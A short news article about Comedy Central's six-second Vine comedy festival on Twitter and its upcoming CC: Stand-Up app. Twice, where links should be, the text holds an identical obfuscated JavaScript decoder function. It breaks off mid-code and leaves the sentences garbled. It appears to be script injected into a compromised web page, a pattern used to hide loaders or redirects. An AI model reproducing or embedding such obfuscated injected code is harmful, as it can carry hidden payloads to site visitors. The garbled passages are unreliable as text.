In January, Twitter introduced a video-sharing service called Vine that allows its users to post six-second video clips – brevity that matches Twitter’s model of 140-character messages. Now, Comedy Central is using that service to host a five-day event called a comedy festival in which a lineup of comedians post their six-second stories and jokes followed by the hashtag function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-twitter-will" target="_blank">#ComedyFest.

Comedy Fest

The event started on Monday (April 22) with a live stream of a discussion between Hollywood director Judd Apatow, Mel Brooks and Carl Reiner followed by a ‘Vine-Dining’ party hosted by comedian Steve Agee on Tuesday wherein he posts his six-second anecdotes.

This partnership with Twitter is just the cable channel’s first step in becoming a branded entertainment company that doesn’t rely only on nightly television viewing. Next month, it is reported that it will introduce a free, ad-supported app called function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-up-app/" target="_blank">CC: Stand-Up that will offer videos of comedians performing routines.

“One of these days we will be ambivalent about where people watch Comedy Central,” senior vice president for digital media, Steve Grimes, told NYT in one of its interview.

At the other end, the event is part of Twitter’s efforts to develop into a fully-fledged entertainment platform, following the launch of its #music app the week earlier. However, the company’s interest in the endeavor is ostensibly for the main purpose of gaining more users, rather than making a full jump to becoming a video platform.